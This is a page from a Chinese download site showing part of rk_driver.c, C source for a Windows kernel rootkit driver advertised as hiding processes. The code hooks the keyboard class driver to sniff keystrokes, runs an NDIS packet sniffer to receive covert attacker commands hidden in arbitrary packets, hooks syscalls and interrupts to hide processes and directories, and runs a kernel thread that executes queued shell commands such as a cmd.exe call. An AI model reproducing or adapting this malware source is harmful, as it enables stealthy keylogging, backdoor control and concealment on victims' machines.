⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 rk_driver.c

📁 能够在windows 2000以上操作系统下隐藏特定的进程
💻 C
📖 第 1 页 / 共 2 页
字号:
		/* _______________________________________________________
		 . Originally, we had hooked other drivers here, such as 
		 . the keyboard class driver - so that we could sniff
		 . keystrokes, for example.  To make everything simpler,
		 . however, we are only hooking syscalls now.
		 .
		 . If you choose, you may attempt to hook other drivers 
		 . at this point.  There are some examples of this in the
		 . DDK.  Also, there is a keyboard class driver hook example
		 . on the www.sysinternals.com site.  In theory, you could
		 . hook whatever you choose.  Please contribute your changes
		 . to the rootkit project at www.rootkit.com.  Thanks.
		 . ________________________________________________________ */
	cmdHookKeyboard(theDriverObject); /* currently not implemented */

		KeAcquireSpinLock(&GlobalArraySpinLock, &aIrqL);
		memset(g_command_signal, NULL, 255);
		memcpy(g_command_signal,"exec \\??\\c:\\winnt\\system32\\cmd.exe /c type c:\\boot.ini" ,
								strlen("exec \\??\\c:\\winnt\\system32\\cmd.exe /c type c:\\boot.ini"));
		KeReleaseSpinLock(&GlobalArraySpinLock, aIrqL);
		//-----------------------------------------------
		KeSetEvent(&command_signal_event, 1, FALSE);

		
		return STATUS_SUCCESS;

RegistryError:
		/* fixme - need better cleanup */
		NdisDeregisterProtocol( &aStatus, aNdisProtocolHandle );
    }
	__except(EXCEPTION_EXECUTE_HANDLER)
	{
		DbgPrint("Exception occured, caught in DriverEntry().  Unknown error\n");
	}
    return(STATUS_UNSUCCESSFUL);
}

/* __________________________________________________________________
 . This function just completes all IRP's that come its way.
 . We are ignoring userland completely - so this shouldn't get
 . called anyways -
 .
 . Feb 03 - update: adding support for hooking the IRP chain in
 . other drivers.  This means stealing the info-stream from other
 . drivers such as keyboard or tcp/ip, etc etc.
 . -greg
 . __________________________________________________________________ */
NTSTATUS
OnStubDispatch(
    IN PDEVICE_OBJECT DeviceObject,
    IN PIRP           Irp
    )
{
	//////////////////////////////////////////////////////////////////
	// the issue here is that if we are hooking a driver chain, we
	// cannot simply complete the IRP, we must instead pass the call
	// down the chain...
	//
	// we can switch on the DeviceObject being used, and we need 
	// a different DeviceObject for each hook we are using
	//////////////////////////////////////////////////////////////////
    
    if(DeviceObject == g_NdisDeviceObject)
    { 
	    Irp->IoStatus.Status = STATUS_SUCCESS;
	    IoCompleteRequest (Irp,
	                       IO_NO_INCREMENT
	                       );
	}
	if(DeviceObject == gKbdHookDevice)
	{
		PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
	    // Our keyboard hook has been called, just pass on the data
	    // however, if the IRP is a read completion, let's steal
	    // a look at the scan code...
	    if( (g_sniff_keys) && (IRP_MJ_READ == irpStack->MajorFunction)) 
	    {
	    	PIO_STACK_LOCATION  nextIrpStack;
	    	nextIrpStack = IoGetNextIrpStackLocation(Irp);
	    	// make sure we get called for ReadComplete...
	    	*nextIrpStack = *irpStack;
		    // Set the completion callback, so we can "frob" the keyboard data.
		    // ----------------------------------------------------------------
		    // important note: IRP's are fired down and they wait, dormant,
		    // until completed.  This means that a 'blank' IRP is fired down
		    // and waits for a keypress.  The very next keypress will 
		    // complete the IRP and our callback routine will fire.
		    //
		    // The problem: if we have unloaded the driver, the callback
		    // routine will not be there - but the very last IRP may 
		    // still be waiting for completion and still have our callback
		    // address - aka BSOD on next keypress. - SO, we HAVE to get
		    // rid of this offending IRP before we unload.  This applies to
		    // ANY filter driver.  Pending IRP's are a Bad Thing when we
		    // want to Unload().
		    // ----------------------------------------------------------------
		    IoSetCompletionRoutine( Irp, OnKbdReadComplete, 
		                            DeviceObject, TRUE, TRUE, TRUE );
		    g_number_of_pending_IRPs++;
		    
		    // Return the results of the call to the keyboard class driver.
		    return IoCallDriver( gKbdTopOfStack, Irp );		
	    }
	    else
	    {
	    	Irp->CurrentLocation++;
	    	Irp->Tail.Overlay.CurrentStackLocation++;
	     	// pass this onto whoever we stole it from...
		    return IoCallDriver(gKbdTopOfStack, Irp);
		}	
	}
	else
	{
	    Irp->IoStatus.Status = STATUS_UNSUCCESSFUL;
	    IoCompleteRequest (Irp,
	                       IO_NO_INCREMENT
	                       );
	}
	                    	                       
	return Irp->IoStatus.Status;
}

/* __________________________________________________________________
 . ETHERNET SNIFFER FILTER
 .
 . This function is called whenever a packet is sniffed on the wire.
 . Currently, this is called directly when the packet arrives, so
 . you need to handle the packet quickly.  This is a high performance
 . function - so don't spend alot of time daddling w/ the packet.
 .
 . If you need to perform a great deal of processing on the packet,
 . queue it first and handle it in another thread.
 .
 . Note: there are many driver-related support functions
 . located in file sniffer.c
 . __________________________________________________________________ */

void OnSniffedPacket(const char* theData, int theLen){
	int aCommand = 0;

	DbgPrint("ROOTKIT: OnSniffedPacket called\n");
	/* no matter what kind of packet this is, parse it for a possible
	 * command.  This makes it easy for the attacker to embed commands
	 * into almost any type of packet, including invalid TCP or ICMP
	 * Also, any network protocol, not just IP.
	 */
	
	// TBD
	switch(aCommand){
	case 0: /* shutdown */
		break;
	case 1: /* start network sniffer */
		break;
	case 2: /* start routing */
		break;
	case 3: /* start file sniffing */
		break;
	case 666: /* Shutdown and KillAll */
		break;
	default:
		break;
	}
}

/* _____________________________________________________________________________
 . This is called when the driver is dynamically unloaded.  You need to cleanup
 . everything you have done here.  A waitable object was added so that NDIS can
 . be shut down properly.  Also unhook all system calls & interrupts.
 . _____________________________________________________________________________ */

// called at IRQL_PASSIVE
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
    WCHAR                  deviceLinkBuffer[]  = L"\\DosDevices\\Ntroot";
    UNICODE_STRING         deviceLinkUnicodeString;
	PVOID				   aThreadPtr;
	
	DbgPrint("ROOTKIT: OnUnload called\n");

	//-------------------------------------------
	// kill worker thread
	g_kill_thread = TRUE;
	DbgPrint("rootkit: killing worker thread\n");

	//GET pointer for thread handle
	ObReferenceObjectByHandle( 
		gWorkerThread, 
		THREAD_ALL_ACCESS, 
		NULL, 
		KernelMode, 
		&aThreadPtr, 
		NULL 
		); 
		
	//should be OK at PASSIVE_LEVEL
	KeWaitForSingleObject(	
		aThreadPtr,
		UserRequest,
		KernelMode,
		FALSE,
		NULL);

	//done with thread ptr
	ObDereferenceObject( aThreadPtr );
	//--------------------------------------------
	
	// now that worker thread is done, it should be
	// safe to start unwinding ourselves from the
	// kernel.

	DbgPrint("rootkit: about to unhook syscalls\n");
	UnhookSyscalls();

	DbgPrint("rootkit: about to unhook interrupts\n");
	UnhookInterrupts();

	// now unhook the keyboard filter
	if(gKbdHookDevice)
	{
		IoDetachDevice(gKbdTopOfStack);
		IoDeleteDevice(gKbdHookDevice);
	}
	
__try
{	
	//__asm int 3

	//the spinlock was a suspect in a BSOD, so I removed it...
	// -Greg
	//KeAcquireSpinLock(&GlobalArraySpinLock, &gIrqL); /* beware of irq level */
	/*
	 * There are some resources which are not freed here, hence small 
	 * memleak.
	 */
	if(NULL != gOpenInstance)
	{
		PDEVICE_EXTENSION  DeviceExtension;
		NDIS_HANDLE        NdisProtocolHandle;
		NDIS_STATUS        Status;

		DeviceExtension = gOpenInstance->DeviceExtension;
		NdisProtocolHandle = DeviceExtension->NdisProtocolHandle;

		NdisResetEvent(&gOpenInstance->Event);

		NdisCloseAdapter(
			&Status, 
			gOpenInstance->AdapterHandle);

		// we must wait for this to complete
		// ---------------------------------
		if(Status == NDIS_STATUS_PENDING)
		{
			 DbgPrint("rootkit: OnUnload: pending wait event\n");
			 NdisWaitEvent(&gOpenInstance->Event, 0);
			 Status = gOpenInstance->Status;
		}

		DbgPrint("rootkit: OnUnload: NdisCloseAdapter() done\n");
		NdisFreeBufferPool(gOpenInstance->mBufferPoolH);

		NdisFreePacketPool(gOpenInstance->mPacketPoolH);

		ExFreePool(gOpenInstance);

		IoDeleteDevice( DeviceExtension->DeviceObject );

		if (DeviceExtension->BindString != NULL) {
            ExFreePool(DeviceExtension->BindString);
        }

        if (DeviceExtension->ExportString != NULL) {
            ExFreePool(DeviceExtension->ExportString);
        }

		NdisDeregisterProtocol(
			&Status,
			NdisProtocolHandle
        );
	}

    RtlInitUnicodeString( &deviceLinkUnicodeString, deviceLinkBuffer );
    IoDeleteSymbolicLink( &deviceLinkUnicodeString );
	/*
	 *
	 */
	//KeReleaseSpinLock(&GlobalArraySpinLock, gIrqL);
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
	DbgPrint("rootkit: Exception in Unload(), unknown error.\n");
}

	/////////////////////////////////////////////////////////////////
	// make sure ALL filters are OFF, and then wait for all
	// pending IRPs to DIE! - we should be deteched from all our
	// filter devices now anyways... -greg
	/////////////////////////////////////////////////////////////////
	g_hide_directories=FALSE;
	g_hide_proc=FALSE;
	g_sniff_keys=FALSE;
	// no more IRP's should be queued to us - now wait it out...
	for(;;)
	{
		LARGE_INTEGER timeout;
		timeout.QuadPart = -(3 * 1000 * 10000);

		KeResetEvent(&command_signal_event);
		
		// we can re-use the thread signal to cause a
		// short wait here...
		KeWaitForSingleObject(	
				&command_signal_event,
				Executive,
				KernelMode,
				FALSE,
				&timeout);
		// do not continue until all IRP's are DEAD
		if( 0 == g_number_of_pending_IRPs ) break;
	}
	return;
}


// --------------------------------------------------------
// wait for commands and execute them in IRQL_PASSIVE level
// --------------------------------------------------------
VOID rootkit_command_thread(PVOID context)
{
	DbgPrint("thread: workerthread entry\n");

	// Find System Process ID
	SystemProcessId=PsGetCurrentProcessId();

	for(;;)
	{
		LARGE_INTEGER timeout;
		NTSTATUS waitstatus;
		KIRQL aIrqL;
		char _safe_buffer[256];
		_safe_buffer[255]=NULL;

		timeout.QuadPart = -(3 * 1000 * 10000);

		waitstatus = KeWaitForSingleObject(	
								&command_signal_event,
								Executive,
								KernelMode,
								FALSE,
								&timeout);
		
		
		
		if(g_kill_thread) 
		{
			// we have been shutdown by the UnLoad()
			// routine, so get out of dodge...
			PsTerminateSystemThread(0);
		}
		else if(waitstatus == STATUS_TIMEOUT)
		{
			//timeout, ignore
		}
		else
		{
			// check the command which is waiting in a 
			// global buffer.  Copy this buffer into a
			// safe-zone.

			//----[ spinlock ]-------------------------------
			KeAcquireSpinLock(&GlobalArraySpinLock, &aIrqL);
			memcpy(_safe_buffer, g_command_signal, 255);
			KeReleaseSpinLock(&GlobalArraySpinLock, aIrqL);
			//-----------------------------------------------
			
			// we are running at IRQL_PASSIVE so we can make
			// calls to kernel API routines in our commands
			// processor
			process_rootkit_command(_safe_buffer);
			
			KeResetEvent(&command_signal_event);
		}
	}
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -